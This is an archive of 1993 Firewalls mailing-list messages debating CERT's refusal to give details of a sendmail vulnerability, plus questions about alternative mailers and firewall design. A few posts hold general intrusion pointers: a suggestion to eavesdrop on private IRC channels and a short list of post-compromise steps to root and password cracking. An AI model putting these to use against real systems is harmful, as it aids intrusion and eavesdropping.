Cc: firewalls@GreatCircle.COM In-Reply-To: <9310251744.AA22489@netcom3.netcom.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk On Mon, 25 Oct 1993, David Koblas wrote: > So with all this discussion going on, about security and CERT etc. > > Does know of any good cracking mailing lists that I could subscribe to Use gopher to access wiretap.spies.com. It has a lot of really interesting cracking info there. I don't frequent it much, but it wouldn't surprise me to see something about the sendmail bug in there. BTW, that site is very popular with students here. I wish it didn't exist, since it puts everything in such an easy to access place, but it is there and is very popular, so y'all might as well know about it too! You might want to also get the sources for IRC and frequent it as well. Some cracking info is traded on there ... usually on private channels. Just study the sources and find out how to eavesdrop on these private channels. Ken Weaverling weave@dtcc.edu Manager of Computer Services Stanton/Wilmington Campuses of Delaware Technical & Community College From Firewalls-Owner Mon Oct 25 22:25:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00418; Mon, 25 Oct 93 22:25:17 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00407; Mon, 25 Oct 93 15:25:07 PDT Message-Id: <9310252225.AA00407@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Mon Oct 25 18:27:43 EDT 1993 To: morgan@engr.uky.edu (Wes Morgan) Cc: firewalls@GreatCircle.COM Subject: Re: CERT and information Date: Mon, 25 Oct 93 18:27:42 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Why couldn't CERT have a "contact list" like this? I give CERT (via some reasonably secure channel; we can't all do face-to-face) some piece of obscure information or passcode. I can then use that code to identify/verify myself when calling. This would be a *trivial* task if the database host is secure. I see no reason why CERT could not allow one point of contact per registered site/domain/network/whatever. I may be managing our own Class B network in a few months, and I *darned* well want to get in the chute early for info like this. The problem isn't the implementation -- there are lots of ways, as Marcus noted. The problem is deciding who should be on the list. Perry claims that he should, since his company moves googools of money every day. I could make a similar case, based on the size of AT&T. Lots of y'all can, too. What about Pat&Chris's Software Garage? It's a small operation; if they get hacked, they could be out of business, since they don't have the resources to ride out a siege. What about various publications that have their own internal nets, but also feel a responsibility to publish what they know? What about your favorite {h,cr,chr}acker journall? From the First Amendment's point of view, they're the same (or should be, if the Secret Service would get a few clues) as the New York Times. What about hacktic.nl -- they're on the Internet, and maybe they're worried about folks hacking them? (I'm assuming, of course, that these folks don't know the holes already.) I could go on in this vein, but I think I've made my point. If you're going to claim ``need to know'', how do you draw the line, in a way that's fair, equitable, and (more or less) lawsuit-proof. Btw, y'all may want to look at the ``News in Review'' section from this past Sunday's NY Times. There's a profile of Richard Petthia, the head of CERT. There's also the claim, attributed to a Scotland Yard detective, that deaths have resulted from a computer intrusion. He said that a weather bureau computer was penetrated, stopping forecasts, which led to the loss of a ship in a storm in the English Channel. (No, there weren't any more details on what really happened.) --Steve Bellovin From Firewalls-Owner Mon Oct 25 15:36:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00347; Mon, 25 Oct 93 22:14:58 GMT Received: from BITNIC.EDUCOM.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00331; Mon, 25 Oct 93 15:14:39 PDT Received: from BITNIC.EDUCOM.EDU by BITNIC.EDUCOM.EDU (IBM VM SMTP V2R2) with BSMTP id 7837; Mon, 25 Oct 93 18:20:14 EDT Received: from BITNIC.EDUCOM.EDU (NJE origin NETMAINE@BITNIC) by BITNIC.EDUCOM.EDU (LMail V1.1d/1.7f) with RFC822 id 7836; Mon, 25 Oct 1993 18:20:12 -0400 Subject: Re: A short Dialogue To: FIREWALLS@GREATCIRCLE.COM From: "Andrew T. Robinson" Date: Mon, 25 Oct 93 18:07:22 EDT In-Reply-To: <199310251840.AA01495@wccs.psc.edu> Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >> Perhaps one solution is a clearinghouse for security-related fixes >> to which all vendors can contribute. [...] > >> Perhaps this has already done. If so, show me to it! > >You're right ... there IS such a thing: it's called "CERT". Vendors >*can* contribute; many choose *not* to. > >- Chuck Do any vendors contribute? I've only had to deal with CERT once, and they were totally unhelpful (my fault, because the incident occurred on a VM/SP and not a Unix system). I don't remember hearing about a vendor fix repository or reading about it in their literature back in 1991. Andy From Firewalls-Owner Mon Oct 25 22:38:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00511; Mon, 25 Oct 93 22:38:39 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00503; Mon, 25 Oct 93 15:38:32 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA17448; Mon, 25 Oct 93 15:41:53 PDT Received: from death.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA21694; Mon, 25 Oct 93 15:41:51 PDT Received: by death.corp.sun.com (4.1/SMI-4.1) id AA08320; Mon, 25 Oct 93 15:41:50 PDT Message-Id: <9310252241.AA08320@death.corp.sun.com> From: Dan.Farmer@Corp.Sun.COM Date: Mon, 25 Oct 1993 15:41:49 -0700 In-Reply-To: "Perry E. Metzger" "Re: more CERT paranoia" (Oct 25, 17:21) X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: pmetzger@lehman.com, firewalls@GreatCircle.COM Subject: Re: more CERT paranoia Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > In any case, I recommend to people who were in my position of having > to worry about a firewall running sendmail that they upgrade to the > new sendmail 8.6.3 -- it seems to be working fine, and although there > is no way to confirm that it actually avoids the mysterious bug that > must not be named, it has been claimed that it avoids it. I believe it does. Well, I've been told that it does, but I haven't tested it myself. Eric said it did after I told him about the problem, for all that's worth (a lot, IMHO.) -- d From Firewalls-Owner Mon Oct 25 22:56:09 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00557; Mon, 25 Oct 93 22:56:09 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA00549; Mon, 25 Oct 93 15:55:54 PDT Received: from relay.lehman.com by lehman.com (8.6.2/LB 0.1) id SAA23187; Mon, 25 Oct 1993 18:59:30 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA17172; Mon, 25 Oct 93 18:58:59 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA15321; Mon, 25 Oct 93 18:58:59 EDT Message-Id: <9310252258.AA15321@snark.lehman.com> To: jdlacour@dal.mobil.com (Jeffrey D. LaCoursiere) Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Mon, 25 Oct 1993 05:13:00 CDT." <9310251013.AA09040@drds03.dal.mobil.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Mon, 25 Oct 1993 18:58:58 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jeffrey D. LaCoursiere says: > > So, the answer is not wide scale publication of all of the details of such problems. > > How about this - those people that have legitimate concerns about the > security of their network but are unidentifiable by CERT could call CERT > and have THEM perform the test of the bug. Doing that inside my firewall would be not be possible, and I still have internal security concerns. .pm From Firewalls-Owner Tue Oct 26 00:23:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01029; Tue, 26 Oct 93 00:23:24 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01020; Mon, 25 Oct 93 17:23:19 PDT Message-Id: <9310260023.AA01020@mycroft.GreatCircle.COM> To: firewalls@greatcircle.com Subject: Re: CERT and information In-Reply-To: Your message of Mon, 25 Oct 93 16:21:53 EDT Date: Mon, 25 Oct 1993 17:23:17 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk morgan@engr.uky.edu (Wes Morgan) writes: # >I have repeatedly called CERT when these "drop everything, have we got # >a bug for you" reports come out. They should know who I am (after # >repeated phone calls, and talking to their reps at conferences), and even # >if they don't, they have ways of verifying who I, and others at my site, # >are before giving out info. And they still won't do it. Should I conclude # >that (1) CERT is (justifiably?) paranoid, (2) CERT is lazy (too lazy to # >check me or anyone else out), or (3) I'm too nice to them when I call? # # I'm reminded of the Western Union practice with money wires; the sender # specifies some obscure question, which is then used to vet the recipient. # (My dad used things like Mom's mother's maiden name or the name of my # hamster.) I'm also reminded of the "verification codes" local radio # stations used to verify "school's out" calls during the winter. A lot of people in this discussion are confusing authentication with authorization. Assume CERT could verify exactly who you are, that you're Joe Blow Sysadmin at some Fortune 10 company; that's a solvable problem, through a variety of methods. Even if they know exactly who you are, though, why should they release sensitive information to you? You might be Joe Blow Sysadmin by day, but how do they know you're not Joe the Cracker at night? Are you assuming that none of the folks perpetrating all these breakins have "real jobs"? I wouldn't take that bet... -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Oct 25 18:06:29 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01181; Tue, 26 Oct 93 00:48:23 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01172; Mon, 25 Oct 93 17:48:17 PDT Message-Id: <9310260048.AA01172@mycroft.GreatCircle.COM> To: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of Mon, 25 Oct 93 08:29:57 -0400 Date: Mon, 25 Oct 1993 17:48:15 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "John A. Murphy" writes: # The major problem I see with giving "authorized" people the insights to # vulnerabilities is there are a number of people wearing 2 hats. Valid # admin's working for a company, while at the same time trying to (personally # or professionally) break into a competitor. YES! THIS is exactly the key problem here. Even if I know who you are, I'm not going to tell you the details of a security-sensitive bug, because I don't know how you're going to use the information. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Tue Oct 26 01:09:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01411; Tue, 26 Oct 93 01:09:51 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01402; Mon, 25 Oct 93 18:09:44 PDT Message-Id: <9310260109.AA01402@mycroft.GreatCircle.COM> To: firewalls@GreatCircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of Sat, 23 Oct 93 14:06:37 CDT Date: Mon, 25 Oct 1993 18:09:43 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk charisse@SmallWorks.COM (Charisse Castagnoli) writes: # Furthermore, it is ludicrous for an organization # to present itself as an advisory body and not provide advice. # We wouldn't be very happy with our weather warning systems if they # merely told us that a hurricane was coming - sometime - without giving # advice regarding whether to evacate or not. The difference is, the National Weather Service can't be accused of telling somebody else how to launch a hurricane at you... -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Tue Oct 26 01:14:12 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01476; Tue, 26 Oct 93 01:14:12 GMT Received: from soda.berkeley.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01468; Mon, 25 Oct 93 18:14:03 PDT Received: by soda.berkeley.edu (5.65/KAOS-1) id AA23934; Mon, 25 Oct 93 18:17:44 -0700 Received: from localhost.dis.org by merde.dis.org (4.1/SMI-4.2) id AA16095; Mon, 25 Oct 93 18:12:19 PDT Message-Id: <9310260112.AA16095@merde.dis.org> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: Sun sendmail vulnerability Phone: (510) 849-2230 Snail-Address: 2560 Bancroft way #51;Berkeley CA 94704-1700 In-Reply-To: Your message of Fri, 22 Oct 1993 18:03:42 -0400. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 25 Oct 1993 18:12:18 -0700 From: Peter shipley Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I believe the bug is capable of granting daemon (1:1) read/write access >to remote systems. In a relative sense, that's no so bad. > >What sort of harm could an intruder do, assuming he had daemon UID access? > Well if you have a Sun System a cracker can (to name a few): 1) gain root with a few shared lib tricks. 2) copy/grind you passwd file. 3) expoite some NIS/RPC holes since s/he can now send packets from a local IP address. -Pete From Firewalls-Owner Tue Oct 26 01:23:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01506; Tue, 26 Oct 93 01:23:52 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01498; Mon, 25 Oct 93 18:23:29 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA20303 (5.65c/IDA-1.5); Mon, 25 Oct 1993 21:27:10 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA13512 (5.65c/IDA-1.5); Mon, 25 Oct 1993 21:26:58 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA03661; Mon, 25 Oct 1993 21:26:54 -0400 From: Tom Fitzgerald Message-Id: <199310260126.AA03661@fnord.wang.com> Subject: Re: A short dialogue To: brent@greatcircle.com (Brent Chapman) Date: Mon, 25 Oct 93 21:26:54 EDT Cc: pmetzger@lehman.com, firewalls@greatcircle.com, ji@tla.org, mab@crypto.com, smb@research.att.com In-Reply-To: <9310231746.AA13485@mycroft.GreatCircle.COM>; from "Brent Chapman" at Oct 23, 93 10:46 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Now, because of the CERT announcement, at least you know there _may_ > be a problem with your configuration, and you can work on finding out > more information about the problem and finding a solution. How, when CERT, and everyone involved, is refusing to talk? How do you suggest we find out more information, when we meet nothing but roadblocks? I'm on Perry's side with this one. The CERT announcement did nothing except alert any crackers who might have been on vacation in Bolivia that there's a neat security hole, and they should contact their pals in the US for details. The CERT announcement AS IT WAS RELEASED did that, and extra information would not have sped up their access to details a bit - their friends already knew the details. (Of course, crackers who weren't in Bolivia knew the details already.) I was preparing a flame about how CERT was valuable to no one except the members of CERT themselves, and vendors, who got CERT's help in concealing news of security problems from their _customers_ until fixes were available. Not crackers, customers. The vendors seem to be less concerned about their customers being broken into, than they are about customers finding out about unpatched holes. But with Dan Farmer's comments about the CERT attitude toward vendors, I'm beginning to wonder who CERT helps at all. Speaking as someone who's been indirectly responsible for one CERT advisory, I'm going to do in the future what I've done in the past - post details of security problems to alt.security. I don't see any other way to get information to the people who need it. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Tue Oct 26 01:24:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01515; Tue, 26 Oct 93 01:24:42 GMT Received: from access.digex.net by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01507; Mon, 25 Oct 93 18:24:28 PDT Received: by access.digex.net id AA06393 (5.67a8/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 25 Oct 1993 21:28:15 -0400 Date: Mon, 25 Oct 1993 21:28:15 -0400 From: Gary Goldberg Message-Id: <199310260128.AA06393@access.digex.net> To: firewalls@greatcircle.com Subject: Strategies? Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Greetings. I'm Gary Goldberg, a sysadmin at the U.S. Census Bureau in DC. My organization (Census) is working to set up an Internet firewall for the use of our users. There has been some controversy over how best to configure things so that our internal network and all the Title XIII data kept there is secure, and that we are comfortably safe from penetration attacks from the Internet, while still allowing our users a reasonable level of access to the available outside resources. Specifically, we have suggested the use of a properly configured brouter to disallow any connections from the outside, but allowing a machine on the outside of our secured network to act as a mail relay host, DNS server for our top level domain, etc. We'd like to allow internal users the freedom to telnet, ftp, run Mosaic etc. from the inside connecting out, while still maintaining a high degree of security from outside users. There has been some difficulties getting all of our interested parties (internal Security group, telecommunications group, etc.) seeing eye to eye on what is required. We feel that it would be useful to learn how other organizations with similar stingent data protection requirements have handled this situation. Particularly we are interested in learning how auditing is handled, but overall strategies would be useful. Have other US government agencies dealt with this type of problem, and do you have any advice for us? I'd appreciate any help or suggestions you can make - I can be reached here at og@access.digex.net, or you can reach me at ggoldber@info.census.gov, which gets forwarded here. For authentication purposes, I'm employed by the System Support Division of the Census Bureau, an agency of the U.S. Department of Commerce. My office number is (301) 763-2706 and the main Census headquarters information number is (301) 763-1000 or can be obtained from Washington DC phone books. - Gary Goldberg From Firewalls-Owner Tue Oct 26 01:26:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01542; Tue, 26 Oct 93 01:26:40 GMT Received: from soda.berkeley.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01534; Mon, 25 Oct 93 18:26:30 PDT Received: by soda.berkeley.edu (5.65/KAOS-1) id AA27707; Mon, 25 Oct 93 18:30:25 -0700 Received: from localhost.dis.org by merde.dis.org (4.1/SMI-4.2) id AA16187; Mon, 25 Oct 93 18:28:52 PDT Message-Id: <9310260128.AA16187@merde.dis.org> To: Firewalls@greatcircle.com Subject: Smail question, On the subject of sendmail... Phone: (510) 849-2230 Snail-Address: 2560 Bancroft way #51;Berkeley CA 94704-1700 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 25 Oct 1993 18:28:52 -0700 From: Peter shipley Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk were I work (TRW) we (actualy other) just installed Smail, are there any known security problems with Smail3.1.28.1? From Firewalls-Owner Tue Oct 26 01:31:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01566; Tue, 26 Oct 93 01:31:03 GMT Received: from uu.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01558; Mon, 25 Oct 93 18:30:49 PDT Received: from osi.UUCP by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via UUCP; id AA23112 for ; Mon, 25 Oct 93 21:06:23 -0400 Received: from scoobydoo.osi.com by osi.com (4.1/SMI-4.1) id AA10345; Mon, 25 Oct 93 17:18:55 PDT Date: Mon, 25 Oct 93 17:18:55 PDT From: Derik.Jarne@osi.com (Derik Jarne) Message-Id: <9310260018.AA10345@osi.com> To: firewalls@greatcircle.com Subject: RE: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I have been looking at all this traffic and I can tell you that: First, You all have excellent points, both PRO and CON. However, everyone is missing the point. Why do people break in to computers, some say it would be to gain financial rewards, some would say to feel special or really clever. The bottom line is that the get a REWARD! Why do we work all night and worry about the systems, ripping apart are systems looking for real and imagined trap doors, its our JOBS. When have you heard of some LAN guru getting a big REWARD for protecting there companies systems and resources. Management would say that is your JOB. Thats why we hired you. And there right. (Damn I hate it when there right!) Passion vs Duty Internet will never make it to the International electronic HIGHWAY if there are no POLICE. CERT is preforming the role of the anonymous phone caller that told you that there was a crime commited in Wash DC. NO! thats not fair, A crime committed with a gun in Wash DC. So CERT doesn't want to really get involved. All that SECRET AGENT stuff Remember, its just a JOB. Thats fine! WHO are the COPS, It can't be all you sitting out there arguing about this or that. NO, It is going to come from the people that exploit the holes. Ever see the movie SNEAKERS. (To much HollyWOOD there) but the point is that we need to make it more lucrative to protect systems then to exploit them. WHO says money can't buy happiness!! UNTIL then I will keep my dial-up internet access. NO flames please!!! I dont post enough to warrant any!. From Firewalls-Owner Tue Oct 26 01:56:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01637; Tue, 26 Oct 93 01:56:56 GMT Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01629; Mon, 25 Oct 93 18:56:47 PDT Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (5.65c/res.host.cf-3.5) with SMTP id AA20051; Mon, 25 Oct 1993 22:00:24 -0400 Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-5.65c/res.client.cf-3.7) id AA27165; Mon, 25 Oct 1993 22:00:22 -0400 Date: Mon, 25 Oct 1993 22:00:22 -0400 From: long-morrow@CS.YALE.EDU (H Morrow Long) Message-Id: <199310260200.AA27165@SPARKY.CF.CS.YALE.EDU> To: morgan@engr.uky.edu, smb@research.att.com Subject: Re: CERT and information Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk uh, CERT really isn't set up for the scale of work (notifying individuals companies by phone of security problems or taking calls from potentially thousands of sites asking what versions of sendmail - and variants - IDA, JANET, etc. - are secure, etc, and trying to authenticate all of these so-called 'trusted' administrators based on their mother's maiden name - c'mon, get real :-) we are talking here - a system that doesn't scale very well unless you are American Express. They do a great job with the resources they have available but they have plenty to do serving as a clearing house for security related bugs and coordinating reported break-ins with relevant agencies and institutions (from what I understand they get several notifications of security incidents per week if not per day - I've certainly mailed my share to them :-). Many of the regional Internet providers will also provide some help and advice (especially if they provide a firewall service). But what is really needed is a private commercial version of the CERT to go into detail on security-related holes and fixes (to standard systems), to provide the advice (and hand-holding if necessary) for those companies, etc. willing to pay a fee for services beyond what CERT and/or the vendor can provide. Anyone want to go into business providing such a service on the Internet? It would be especially useful to have Eric Allman (as well as his brothers Duane and Greg :-) on a support contract and on call for sendmail problems... - Morrow From Firewalls-Owner Mon Oct 25 19:01:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01600; Tue, 26 Oct 93 01:33:01 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01592; Mon, 25 Oct 93 18:32:50 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA20450 (5.65c/IDA-1.5); Mon, 25 Oct 1993 21:36:38 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA14040 (5.65c/IDA-1.5); Mon, 25 Oct 1993 21:36:24 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA03768; Mon, 25 Oct 1993 21:36:20 -0400 From: Tom Fitzgerald Message-Id: <199310260136.AA03768@fnord.wang.com> Subject: Re: A short dialogue To: brent@greatcircle.com (Brent Chapman) Date: Mon, 25 Oct 93 21:36:19 EDT Cc: pmetzger@lehman.com, firewalls@greatcircle.com In-Reply-To: <9310231812.AA13769@mycroft.GreatCircle.COM>; from "Brent Chapman" at Oct 23, 93 11:12 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > The lists functioned the way they did "in the old days" because most > of the people on the lists knew each other. Everybody didn't know > everybody, but any given person on such a list probably knew a > significant fraction of the other people on the list. On the contrary, in '88-'89, the Zardoz list let on anyone who was a domain contact. This worked fine - it didn't *require* everyone to know everyone else. I was on the list, and I never met anyone. One of the worst things to happen to Internet security was Neil's action to split the list into the "inner" list of his acquaintances, who got advance warning of security problems, and the "outer" list of people who were screwed. The outer list died almost immediately afterward. Maybe there's something about the security biz that leads people into greater and greater paranoia, even toward the people who are least likely to be dangerous.... It's a self-defeating attitude. It may be that some of the people you _do_ know are crackers, and for sure, the vast majority of people who could help you are people you don't know yet. > Have you stopped to consider that maybe what's wrong is that your > site, with your security concerns, shouldn't be on the Internet in the > first place? Then we may as well just shut down the NSFnet. Who _doesn't_ have concerns about security? -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 From Firewalls-Owner Tue Oct 26 02:21:25 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01750; Tue, 26 Oct 93 02:21:25 GMT Received: from bedrock.cs.UMD.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01742; Mon, 25 Oct 93 19:21:14 PDT Received: by bedrock.cs.UMD.EDU (5.64/UMIACS-0.9/04-05-88) id AA02595; Mon, 25 Oct 93 22:25:05 -0400 Date: Mon, 25 Oct 93 22:25:05 -0400 From: reh@cs.UMD.EDU (Richard Huddleston) Message-Id: <9310260225.AA02595@bedrock.cs.UMD.EDU> To: firewalls@greatcircle.com Subject: CERT Clearance Levels Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jeez, I'm already sick to death of this thread. What a good time to add to it ;). I'm sure many, if not most, of us enjoy some type of formal clearance to work at our job sites. You get a clearance (1) when you need one; (2) when you seem to match the profile of someone who can be trusted to see, hear, and know the types of things you're in a position to see, hear and know. Some clearances move with you, some don't. Well, I don't need to spell the rest of it out, do I? An application with sufficient penalties for lying -- real ones, that are enforced -- should provide sufficient clearance for getting enough information to test for and remove a hole. More information required means more clearance methods, paid for by employer ( in most cases, with exceptions for sufficiently small businesses ). The clearance should not be a giveaway. ( Yes, there are adminstrative and policy details left out; this isn't a thesis. ) Consider it overhead for the policemen that serve the Information Superhighway: allocate tax dollars to fund and support the federal end. Cheers, Richard From Firewalls-Owner Tue Oct 26 02:38:24 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01822; Tue, 26 Oct 93 02:38:24 GMT Received: from lloyd.com (ray.lloyd.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01814; Mon, 25 Oct 93 19:38:17 PDT Received: from [158.222.1.3] by lloyd.com with smtp (Smail3.1.28.1 #3) id m0oreMG-000EVlC; Mon, 25 Oct 93 19:42 PDT Message-Id: Date: Mon, 25 Oct 93 19:42 PDT X-Sender: brian@ray.lloyd.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Firewalls@GreatCircle.COM From: brian@lloyd.com (Brian Lloyd) Subject: smail vs. sendmail Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Seems to be lots of heat but not a lot of light. Sendmail has always been a big unknown WRT security. So there is YASSB (yet another sendmail security bug). Ho hum, nothing new. Well, if sendmail is such a pain, what about other mailers? How about smail? MMDF? Something new and much simpler? I would be really interested in hearing about the security issues surrounding these packages. Brian Lloyd, President BP Lloyd & Associates, Inc. brian@lloyd.com 3420 Sudbury Road (916) 676-1147 - voice Cameron Park, CA 95682 (916) 676-3442 - fax From Firewalls-Owner Tue Oct 26 02:53:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01853; Tue, 26 Oct 93 02:53:57 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01845; Mon, 25 Oct 93 19:53:50 PDT Message-Id: <9310260253.AA01845@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Mon Oct 25 22:57:03 EDT 1993 To: brian@lloyd.com (Brian Lloyd) Cc: Firewalls@GreatCircle.COM Subject: Re: smail vs. sendmail Date: Mon, 25 Oct 93 22:57:02 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Seems to be lots of heat but not a lot of light. Sendmail has always been a big unknown WRT security. So there is YASSB (yet another sendmail security bug). Ho hum, nothing new. Well, if sendmail is such a pain, what about other mailers? How about smail? MMDF? Something new and much simpler? I would be really interested in hearing about the security issues surrounding these packages. A big unknown? Not at all. We *know* it has more holes; we just don't know what they are at the moment.... In fact, I was quoting that line to someone in a meeting at more or less the exact time that the CERT advisory must have been showing up in my mailbox. I'd call it a coincidence, except that as you say: ho hum, nothing new about YASSB. When it comes to security bigger=>badder. As Fred Grampp once remarked in a similar context (about why mailx on SVR4 was setgid): ``You don't give privileges to a whale''. --Steve Bellovin From Firewalls-Owner Tue Oct 26 02:55:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01872; Tue, 26 Oct 93 02:55:40 GMT Received: from govonca.gov.on.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA01864; Mon, 25 Oct 93 19:55:30 PDT Received: by govonca.gov.on.ca (5.57/Ultrix3.0-C) id AA18760; Mon, 25 Oct 93 23:02:51 -0400 From: bennetc@gov.on.ca (Cameron Bennett) Message-Id: <9310260302.AA18760@govonca.gov.on.ca> Subject: UNSUBSRIBE To: firewalls@greatcircle.com Date: Mon, 25 Oct 93 23:02:50 EDT X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk UNSUBSRIBE -- From Firewalls-Owner Tue Oct 26 03:25:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02028; Tue, 26 Oct 93 03:25:11 GMT Received: from is.rice.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA02020; Mon, 25 Oct 93 20:25:04 PDT Received: from sabine.is.rice.edu by is.rice.edu (AA28588); Mon, 25 Oct 93 22:28:56 CDT Received: by sabine.is.rice.edu (AA06564); Mon, 25 Oct 93 22:28:55 CDT From: bmanning@is.rice.edu (William Manning) Message-Id: <9310260328.AA06564@sabine.is.rice.edu> Subject: Re: A short dialogue To: fitz@wang.com (Tom Fitzgerald) Date: Mon, 25 Oct 93 22:28:54 CDT Cc: firewalls@greatcircle.com In-Reply-To: <199310260136.AA03768@fnord.wang.com>; from "Tom Fitzgerald" at Oct 25, 93 9:36 pm 